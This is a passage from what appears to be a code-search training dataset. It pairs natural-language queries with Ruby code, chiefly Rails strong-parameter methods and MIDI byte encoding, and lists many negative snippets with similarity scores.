state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def _handle_action_missing(*args); end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.6163821", "0.6045432", "0.5945441", "0.5916224", "0.58894575", "0.5834073", "0.57764685", "0.5702474", "0.5702474", "0.5653258", "0.56211996", "0.54235053", "0.5410683", "0.5410683", "0.5410683", "0.53948104", "0.5378064", "0.5356684", "0.53400385", "0.53399503", "0.53312254", "0.53121567", "0.52971965", "0.52964705", "0.52956307", "0.52587366", "0.52450675", "0.5237777", "0.5237777", "0.5237777", "0.5237777", "0.5237777", "0.5233381", "0.52325714", "0.52288216", "0.52229726", "0.5218362", "0.52142864", "0.5207988", "0.5206337", "0.51762295", "0.51745105", "0.51728606", "0.516616", "0.5161016", "0.5157393", "0.5152562", "0.51524293", "0.5152397", "0.5144533", "0.513982", "0.51342106", "0.5113793", "0.5113793", "0.5113671", "0.51092553", "0.51062804", "0.50921935", "0.5088855", "0.5082236", "0.5079901", "0.5066569", "0.5055307", "0.5053106", "0.50499666", "0.50499666", "0.5035068", "0.50258636", "0.50220853", "0.5015893", "0.50134486", "0.5001442", "0.50005543", "0.4998581", "0.49901858", "0.49901858", "0.4986648", "0.49809486", "0.49792925", "0.4978855", "0.49685496", "0.49656174", "0.49576473", "0.49563017", "0.4955349", "0.49536878", "0.4952439", "0.49460214", "0.494239", "0.49334687", "0.49315962", "0.49266812", "0.49261138", "0.4925925", "0.4922542", "0.4920779", "0.49173284", "0.49169463", "0.4916256", "0.49162322", "0.49156886" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def job_params params.require(:job).permit( :id, :title, :description, :deadline, :job_type, :event, :salary_type, :salary_value, :salary_high, :salary_low, :salary_unit, :position, :attachment_url, :employment_types, :periods, :default_location, :has_bonus, :bonus_value, :photo, :job_tags_attributes => [:id, :tag_id, :_destroy] ) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.63804525", "0.6373396", "0.6360051", "0.6355191", "0.62856233", "0.627813", "0.62451434", "0.6228103", "0.6224965", "0.6222941", "0.6210244", "0.62077755", "0.61762565", "0.61711127", "0.6168448", "0.6160164", "0.61446255", "0.6134175", "0.6120522", "0.6106709", "0.60981655", "0.6076113", "0.60534036", "0.60410434", "0.6034582", "0.6029977", "0.6019861", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.60184896", "0.60157263", "0.6005857", "0.6003803", "0.60012573", "0.59955895", "0.5994598", "0.5993604", "0.5983824", "0.5983166", "0.5977431", "0.597591", "0.5968824", "0.5965953", "0.59647584", "0.59647584", "0.59566855", "0.59506303", "0.5950375", "0.59485626", "0.59440875", "0.5930872", "0.5930206", "0.5925668", "0.59235454", "0.5917905", "0.59164816", "0.5913821", "0.59128743", "0.5906617", "0.59053683", "0.59052664", "0.5901591", "0.58987755", "0.5897456", "0.58970183", "0.58942604" ]
0.0
-1
MIDI data must be encoded in 7bit bytes (most significat bit is used to mark STATUS bytes) Korg Monologue encodes data in 7byte chunks
def midi_encoder(bytes) raise "Invalid data length #{bytes.size}" unless bytes.size % 7 == 0 result = [] (0...bytes.size).step(7).each do |start| chunk = bytes[start, 7] msbits = 0 chunk.each_with_index do |b, i| msbits |= (b & 0x80) >> (7 - i) end result << msbits result += chunk.map{|b| b & 0x7F} end result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_program_midi_data(data)\n valid = data[0] == 0xF0 &&\n data[1] == 0x42 &&\n (data[2] & 0xF0 == 0x30) &&\n data[3] == 0x00 &&\n data[4] == 0x01 &&\n data[5] == 0x44 &&\n (data[6] == 0x4C || data[6] == 0x40) &&\n data[-1] == 0xF7\n if data[6] == 0x40\n # current program\n program = nil\n start = 7\n else\n program = data[7]\n start = 9\n end\n prog = data[start...-1]\n raise \"Invalid program\" unless valid && prog.size == 512\n from_bytes midi_decoder prog\nend", "def midi_in(bytes)\n return unless accept_from_input?(bytes)\n\n bytes_duped = false\n\n high_nibble = bytes.high_nibble\n case high_nibble\n when NOTE_ON, NOTE_OFF, POLY_PRESSURE\n return unless inside_zone?(bytes[1])\n\n if bytes[0] != high_nibble + @output_chan || (@xpose && @xpose != 0)\n bytes = bytes.dup\n bytes_duped = true\n end\n\n bytes[0] = high_nibble + @output_chan\n bytes[1] = ((bytes[1] + @xpose) & 0xff) if @xpose\n when CONTROLLER, PROGRAM_CHANGE, CHANNEL_PRESSURE, PITCH_BEND\n if bytes[0] != high_nibble + @output_chan\n bytes = bytes.dup\n bytes_duped = true\n bytes[0] = high_nibble + @output_chan\n end\n end\n\n # We can't tell if a filter will modify the bytes, so we have to assume\n # they will be. If we didn't, we'd have to rely on the filter duping the\n # bytes and returning the dupe.\n if @filter\n if !bytes_duped\n bytes = bytes.dup\n bytes_duped = true\n end\n bytes = @filter.call(self, bytes)\n end\n\n if bytes && bytes.size > 0\n midi_out(bytes)\n end\n end", "def data\n bytes = lp_data.bytes.to_a.pack('C*')\n case lp_type\n when 1,2\n bytes.force_encoding('utf-16le').strip\n when 3\n bytes\n when 4\n bytes.unpack('V').first\n when 5\n bytes.unpack('N').first\n when 7\n str = bytes.force_encoding('utf-16le')\n str.split(\"\\0\".encode('utf-16le'))\n when 11\n bytes.unpack('Q<').first\n else\n \"\"\n end\n end", "def process(data)\n bytes = StringIO.new(String(data)).each_byte\n bytes.each do |byte|\n case byte\n when REPORT_VERSION\n @major_version = bytes.next\n @minor_version = bytes.next\n\n emit('report_version')\n\n when ANALOG_MESSAGE_RANGE\n least_significant_byte = bytes.next\n most_significant_byte = bytes.next\n\n value = least_significant_byte | (most_significant_byte << 7)\n pin = byte & 0x0F\n\n if analog_pin = analog_pins[pin]\n pins[analog_pin].value = value\n\n emit('analog-read', pin, value)\n emit(\"analog-read-#{pin}\", value)\n end\n\n when DIGITAL_MESSAGE_RANGE\n port = byte & 0x0F\n first_bitmask = bytes.next\n second_bitmask = bytes.next\n port_value = first_bitmask | (second_bitmask << 7)\n\n 8.times do |i|\n pin_number = 8 * port + i\n if pin = pins[pin_number] and pin.mode == INPUT\n value = (port_value >> (i & 0x07)) & 0x01\n pin.value = value\n emit('digital-read', pin_number, value)\n emit(\"digital-read-#{pin_number}\", value)\n end\n end\n\n when START_SYSEX\n current_buffer = [byte]\n begin\n current_buffer.push(bytes.next)\n end until current_buffer.last == END_SYSEX\n\n command = current_buffer[1]\n\n case command\n when CAPABILITY_RESPONSE\n supported_modes = 0\n n = 0\n\n current_buffer.slice(2, current_buffer.length - 3).each do |byte|\n if byte == 127\n modes = []\n # the pin modes\n [ INPUT, OUTPUT, ANALOG, PWM, SERVO ].each do |mode|\n modes.push(mode) unless (supported_modes & (1 << mode)).zero?\n end\n\n @pins.push(Pin.new(modes, OUTPUT, 0))\n\n supported_modes = 0\n n = 0\n next\n end\n\n supported_modes |= (1 << byte) if n.zero?\n\n n ^= 1\n end\n\n emit('capability_query')\n\n when ANALOG_MAPPING_RESPONSE\n pin_index = 0\n\n current_buffer.slice(2, current_buffer.length - 3).each do |byte|\n\n @pins[pin_index].analog_channel = byte\n\n @analog_pins.push(pin_index) unless byte == 127\n\n pin_index += 1\n end\n\n emit('analog_mapping_query')\n\n when PIN_STATE_RESPONSE\n pin = pins[current_buffer[2]]\n pin.mode = current_buffer[3]\n pin.value = current_buffer[4]\n\n pin.value |= (current_buffer[5] << 7) if current_buffer.size > 6\n\n pin.value |= (current_buffer[6] << 14) if current_buffer.size > 7\n\n when FIRMWARE_QUERY\n @firmware_name = current_buffer.slice(4, current_buffer.length - 5).reject { |b| b.zero? }.map(&:chr).join\n emit('firmware_query')\n\n else\n puts 'bad byte'\n end\n end\n end\n rescue StopIteration\n # do nadda\n end", "def write(sequence_hash)\n # Create a new, empty sequence.\n seq = MIDI::Sequence.new()\n \n track = MIDI::Track.new(seq)\n seq.tracks << track\n track.events << MIDI::Tempo.new(MIDI::Tempo.bpm_to_mpq(120))\n i = 0\n \n # Create a track to hold the notes. Add it to the sequence.\n sequence_hash.each { |instrument, midi_elements|\n track = MIDI::Track.new(seq)\n seq.tracks << track\n \n if (MIDI::GM_PATCH_NAMES.include?(instrument)) then\n program_change = MIDI::GM_PATCH_NAMES.index(instrument)\n else\n program_change = MIDI::GM_DRUM_NOTE_NAMES.index(instrument)\n i = 10 # set channel to 10 => percussion channel\n end\n \n # Give the track a name and an instrument name (optional).\n track.instrument = instrument\n \n # Add a volume controller event (optional).\n track.events << MIDI::Controller.new(i, MIDI::CC_VOLUME, 127)\n track.events << MIDI::ProgramChange.new(i, program_change, 0)\n midi_elements.each { |midi_element|\n track.events << MIDI::NoteOn.new(i, midi_element.note ,127,0)\n track.events << MIDI::NoteOff.new(i, midi_element.note ,127, seq.note_to_delta(midi_element.duration))\n }\n\n i += 1\n i += 1 if (i == 10)\n }\n \n write_midi(seq)\n end", "def data_as_bytes\n data = []\n data << @status\n data << @meta_type\n data << 2\n data << @data[0]\n data << (@data[1] ? 1 : 0)\n end", "def ms_byte; self >> 8; end", "def puts(handle, data)\n format = 'C' * data.size\n pointer = FFI::MemoryPointer.new(data.size)\n bytes = pointer.put_bytes(0, data.pack(format))\n\n API.snd_rawmidi_write(handle, bytes.to_i, data.size)\n API.snd_rawmidi_drain(handle)\n true\n end", "def data_as_bytes\n data = []\n data << @status\n data << @meta_type\n data << 4\n data << @data[0]\n data << @data[1]\n data << @data[2]\n data << @data[3]\n end", "def << data\n\n # put the data into the buffer, as\n # we might be replaying\n if data\n @buffer << data\n end\n\n # Don't do work if we don't have to\n if @buffer.length < 2\n return\n end\n\n # decode the first 2 bytes, with\n # opcode, lengthgth, masking bit, and frag bit\n h1, h2 = @buffer.unpack(\"CC\")\n\n # check the fragmentation bit to see\n # if this is a message fragment\n fin = ((h1 & 0x80) == 0x80)\n\n # used to keep track of our position in the buffer\n offset = 2\n\n # see above for possible opcodes\n opcode = (h1 & 0x0F)\n\n # the leading length idicator\n length = (h2 & 0x7F)\n\n # masking bit, is the data masked with\n # a specified masking key?\n masked = ((h2 & 0x80) == 0x80)\n\n # Find errors and fail fast\n if h1 & 0b01110000 != 0\n return emit :error, 1002, \"RSV bits must be 0\"\n end\n\n if opcode > 7\n if !fin\n return emit :error, 1002, \"Control frame cannot be fragmented\"\n elsif length > 125\n return emit :error, 1002, \"Control frame is too large #{length}\"\n elsif opcode > 0xA\n return emit :error, 1002, \"Unexpected reserved opcode #{opcode}\"\n elsif opcode == CLOSE && length == 1\n return emit :error, 1002, \"Close control frame with payload of length 1\"\n end\n else\n if opcode != CONTINUATION && opcode != TEXT_FRAME && opcode != BINARY_FRAME\n return emit :error, 1002, \"Unexpected reserved opcode #{opcode}\"\n end\n end\n\n # Get the actual size of the payload\n if length > 125\n if length == 126\n length = @buffer.unpack(\"@#{offset}n\").first\n offset += 2\n else\n length = @buffer.unpack(\"@#{offset}L!>\").first\n offset += 8\n end\n end\n\n # unpack the masking key\n if masked\n key = @buffer.unpack(\"@#{offset}N\").first\n offset += 4\n end\n\n # replay on next frame\n if @buffer.size < (length + offset)\n return false\n end\n\n # Read the important bits\n payload = @buffer.unpack(\"@#{offset}C#{length}\")\n\n # Unmask the data if it\"s masked\n if masked\n payload.bytesize.times do |i|\n payload[i] = ((payload[i] ^ (key >> ((3 - (i % 4)) * 8))) & 0xFF)\n end\n end\n \n payload = payload.pack(\"C*\")\n\n case opcode\n when CONTINUATION\n\n # We shouldn't get a contination without\n # knowing whether or not it's binary or text\n unless @fragmented\n return emit :error, 1002, \"Unexepected continuation\"\n end\n\n if @fragmented == :text\n @chunks << payload.force_encoding(\"UTF-8\")\n else\n @chunks << payload\n end\n\n if fin\n if @fragmented == :text && !valid_utf8?(@chunks)\n return emit :error, 1007, \"Invalid UTF\"\n end\n\n emit :frame, @chunks, @fragmented == :binary\n @chunks = nil\n @fragmented = false\n end\n\n when TEXT_FRAME\n # We shouldn't get a text frame when we\n # are expecting a continuation\n if @fragmented\n return emit :error, 1002, \"Unexepected frame\"\n end\n\n # emit or buffer\n if fin\n unless valid_utf8?(payload)\n return emit :error, 1007, \"Invalid UTF Hmm\"\n end\n\n emit :frame, payload, false\n else\n @chunks = payload.force_encoding(\"UTF-8\")\n @fragmented = :text\n end\n\n when BINARY_FRAME\n # We shouldn't get a text frame when we\n # are expecting a continuation\n if @fragmented\n return emit :error, 1002, \"Unexepected frame\"\n end\n\n # emit or buffer\n if fin\n emit :frame, payload, true\n else\n @chunks = payload\n @fragmented = :binary\n end\n\n when CLOSE\n code, explain = payload.unpack(\"nA*\")\n if explain && !valid_utf8?(explain)\n emit :close, 1007\n else\n emit :close, response_close_code(code)\n end\n\n when PING\n emit :ping, payload\n\n when PONG\n emit :pong, payload\n\n end\n\n # Remove data we made use of and call back\n # TODO: remove recursion\n @buffer = @buffer[offset + length..-1] || \"\"\n if not @buffer.empty?\n self << nil\n end\n\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Publish Acknowledgment packet'\n end", "def encode\n return @_data unless @_data.nil?\n @_data = [@bin_data].pack( 'm' ).chomp if @bin_data \n @_data\n end", "def test_full_io_bytestr\n sleep(1) # pause between tests\n\n messages = VariousMIDIByteStrMessages\n messages_str = messages.join\n received_str = \"\"\n pointer = 0\n\n TestOutput.open do |output|\n TestInput.open do |input|\n\n messages.each do |msg|\n\n $>.puts \"sending: \" + msg.inspect\n\n output.puts(msg)\n sleep(1)\n received = input.gets_bytestr.map { |m| m[:data] }.flatten.join\n $>.puts \"received: \" + received.inspect\n\n assert_equal(messages_str.slice(pointer, received.length), received)\n \n pointer += received.length\n \n received_str += received\n \n end\n \n assert_equal(messages_str, received_str)\n \n end\n end\n\n end", "def parse_data(data)\n idx = 0\n @prev_out, @prev_out_index = data[idx...idx+=36].unpack(\"a32I\")\n @script_sig_length, tmp = Protocol.unpack_var_int(data[idx..-1])\n idx += data[idx..-1].bytesize - tmp.bytesize\n @script_sig = data[idx...idx+=@script_sig_length]\n @sequence = data[idx...idx+=4]\n idx\n end", "def read_track\n\tc = c1 = type = needed = 0\n\tsysex_continue = false\t# True if last msg was unfinished\n\trunning = false\t\t# True when running status used\n\tstatus = 0\t\t# (Possibly running) status byte\n\n\t@bytes_to_be_read = 0\n\tread_mt_header_string(MTrk_BYTE_ARRAY, false)\n\n\t@bytes_to_be_read = read32()\n\t@curr_ticks = @ticks_so_far = 0\n\n\tstart_track()\n\n\twhile @bytes_to_be_read > 0\n @curr_ticks = read_var_len() # Delta time\n @ticks_so_far += @curr_ticks\n\n # Copy raw var num data into raw time stamp data\n @raw_time_stamp_data = @raw_var_num_data.dup()\n\n c = getc()\t\t# Read first byte\n\n if sysex_continue && c != EOX\n error(\"didn't find expected continuation of a sysex\")\n end\n\n if (c & 0x80).zero? # Running status?\n error('unexpected running status') if status.zero?\n running = true\n else\n status = c\n running = false\n end\n\n needed = NUM_DATA_BYTES[(status >> 4) & 0x0f]\n\n if needed.nonzero?\t# i.e., is it a channel message?\n c1 = running ? c : (getc() & 0x7f)\n\n # The \"& 0x7f\" here may seem unnecessary, but I've seen\n # \"bad\" MIDI files that had, for example, volume bytes\n # with the upper bit set. This code should not harm\n # proper data.\n chan_message(running, status, c1,\n (needed > 1) ? (getc() & 0x7f) : 0)\n next\n end\n\n case c\n when META_EVENT\t# Meta event\n type = getc()\n msg_init()\n msg_read(read_var_len())\n meta_event(type)\n when SYSEX\t\t# Start of system exclusive\n msg_init()\n msg_add(SYSEX)\n c = msg_read(read_var_len())\n\n if c == EOX || !@no_merge\n handle_sysex(msg())\n else\n sysex_continue = true\n end\n when EOX\t\t# Sysex continuation or arbitrary stuff\n msg_init() if !sysex_continue\n c = msg_read(read_var_len())\n\n if !sysex_continue\n handle_arbitrary(msg())\n elsif c == EOX\n handle_sysex(msg())\n sysex_continue = false\n end\n else\n bad_byte(c)\n end\n\tend\n\tend_track()\n end", "def pulse_code\n # 64 is just the max number of entries which maybe in there times two\n length = usb_get_pulse_code_length(dataIn:1).unpack('C').first # find out the length of the currently loaded pulse code\n usb_get_pulse_code(dataIn: length * 2).unpack('v*')\n end", "def kex_byte_requirement; end", "def writeRawBytes(mData = nil)\n#p 'writeRawBytes'\n\t\tif (self.disconnected?)\n\t\t\treturn nil;\n\t\tend # if not connected\n#p 'am connected'\n\t\t# TODO: allow arrays too\n\t\tif (String != mData.class)\n\t\t\treturn nil;\n\t\tend # if invalid dada format\n#p 'got string data'\n\t\tiCountSent = 0\n\t\tiDataLength = nil\n\t\tiFrameID = nil\n\t\tiCountExpected = -1\n\t\tiSenderID = nil\n\t\tiTargetID = nil\n\t\tbHeaderFound = NO\n\t\tsData = ''\n\n\t\tbegin\n\t\t\tmData.each_byte do |iByte|\n\n\t\t\t\tif (bHeaderFound)\n\t\t\t\t\tif (iTargetID.nil?)\n\t\t\t\t\t\tiTargetID = iByte.chr\n\t\t\t\t\telsif (iSenderID.nil?)\n\t\t\t\t\t\tiSenderID = iByte\n\t\t\t\t\telsif (iFrameID.nil?)\n\t\t\t\t\t\tiFrameID = iByte\n\t\t\t\t\telsif (iDataLength.nil?)\n\t\t\t\t\t\tiDataLength = iByte\n\t\t\t\t\t\tiCountExpected = 5 + iDataLength + 2\n\t\t\t\t\tend # if not yet read target ID\n\t\t\t\telse\n\n\t\t\t\t\t# ruby respects perl (next) over C (continue), and pearls are found under the sea ;)\n\t\t\t\t\tnext if 0x00 == iByte\n\n\t\t\t\t\tbHeaderFound = YES if 0xFF == iByte\n\n\t\t\t\tend # if no header found yet\n\n\t\t\t\tsData << iByte.chr\n\n\t\t\t\tiCountSent += 1\n\n\t\t\t\tbreak if (iCountSent == iCountExpected)\n\n\t\t\tend # loop each byte\n\n\t\trescue Exception => e\n\n\t\t\tp 'KO: error in frame'\np e\n\t\t\treturn 0\n\n\t\tend # try catch\np ' writeRawBytes to ID: ' << iTargetID.to_s\n\t\tsIP = SssSEMapp.oIOframeHandler.getIPstringForID(iTargetID)\n\t\t# sIP could be nil at this point\n\t\t# send the payload\n\t\tif (sIP.nil?)\n\t\t\tself.sendTo(iTargetID, sData)\n\t\telse\n\t\t\tself.sendTo(sIP, sData)\n\t\tend # if target has been 'seen' on Ethernet or not\n\n\t\tiCountSent\n\n\tend", "def to_midi\n pc.to_i + (oct + 1) * 12\n end", "def read_prologue # :nodoc:\n big_endian = Format::Current.read_prologue(io)\n @format_version = Format::Current::VERSION\n @big_endian = big_endian\n @native_endian = ((big_endian != 0) ^ Pocolog.big_endian?)\n @payload_size = 0\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n unless buffer.empty?\n raise ExtraBytesError, \"at end of Publish Release packet\"\n end\n end", "def decode(data)\n # Fin and Opcode\n byte_tmp = data.getbyte\n fin = byte_tmp & 0b10000000\n @opcode = byte_tmp & 0b00001111\n # NOT Support Multiple Fragments\n raise Midori::Error::ContinuousFrame unless fin\n raise Midori::Error::OpCodeError unless [0x1, 0x2, 0x8, 0x9, 0xA].include?opcode\n close if @opcode == 0x8 # Close Frame\n # return if @opcode == 0x9 || @opcode == 0xA # Ping Pong\n decode_mask(data)\n end", "def packetfu_ascii_art\n\tputs <<EOM\n _______ _______ _______ _ _______ _________ _______ \n( ____ )( ___ )( ____ \\\\| \\\\ /\\\\( ____ \\\\\\\\__ __/( ____ \\\\|\\\\ /|\n| ( )|| ( ) || ( \\\\/| \\\\ / /| ( \\\\/ ) ( | ( \\\\/| ) ( |\n| (____)|| (___) || | | (_/ / | (__ | | | (__ | | | |\n| _____)| ___ || | | _ ( | __) | | | __) | | | |\n| ( | ( ) || | | ( 